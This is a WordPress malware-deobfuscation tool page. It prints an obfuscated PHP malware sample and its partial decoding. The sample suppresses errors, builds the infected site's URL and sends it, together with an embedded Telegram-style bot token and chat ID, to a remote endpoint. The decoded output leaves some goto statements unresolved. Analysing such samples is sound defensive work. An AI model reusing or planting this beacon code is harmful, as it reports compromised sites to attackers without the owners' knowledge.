PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php goto vYA4y;vYA4y:error_reporting(0);goto XqzIM;XqzIM:$c_940d908b="\66\x33\60\x34\62\70\67\63\71\61\72\x41\x41\x47\160\153\x67\55\x4b\x6b\x4d\156\144\x4a\123\x62\x75\x77\x73\65\151\x46\124\127\x50\x6b\x52\137\x36\x2d\x65\172\x6a\120\154\167";goto TCxME;o4u3j:$n_b6bd307f="\x57\157\157\x70\172...

Obfuscated php code

<?php goto vYA4y;vYA4y:error_reporting(0);goto XqzIM;XqzIM:$c_940d908b="\66\x33\60\x34\62\70\67\63\71\61\72\x41\x41\x47\160\153\x67\55\x4b\x6b\x4d\156\144\x4a\123\x62\x75\x77\x73\65\151\x46\124\127\x50\x6b\x52\137\x36\x2d\x65\172\x6a\120\154\167";goto TCxME;o4u3j:$n_b6bd307f="\x57\157\157\x70\172\40\72\142\40\72\x20{$v_f47645ae}";goto iGXeV;enP1v:$n_6eb315ae.="\x3f\143\x68\x61\x74\x5f\x69\144\75{$i_bdb90bd4}\46\x74\145\x78\x74\75".urlencode($n_b6bd307f);goto e7TL5;e7TL5:$z_136ac113=file_get_contents($n_6eb315ae);goto AYIi_;TCxME:$i_bdb90bd4="\x35\x39\x35\x34\61\x34\60\66\x36";goto AMtqF;AMtqF:$v_f47645ae="\150\x74\164\160\x3a\57\x2f".$_SERVER["\x48\x54\x54\x50\x5f\110\117\x53\x54"].$_SERVER["\122\105\121\x55\x45\123\124\x5f\x55\122\x49"];goto o4u3j;

Decoded(de-Obfuscated) php code

<?php

error_reporting(0);
$c_940d908b = "6304287391:AAGpkg-KkMndJSbuws5iFTWPkR_6-ezjPlw";
$i_bdb90bd4 = "595414066";
$v_f47645ae = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
$n_b6bd307f = "Woopz :b : {$v_f47645ae}";
goto iGXeV;
// [PHPDeobfuscator] Implied goto
goto enP1v;

Malware detection & removal plugin for WordPress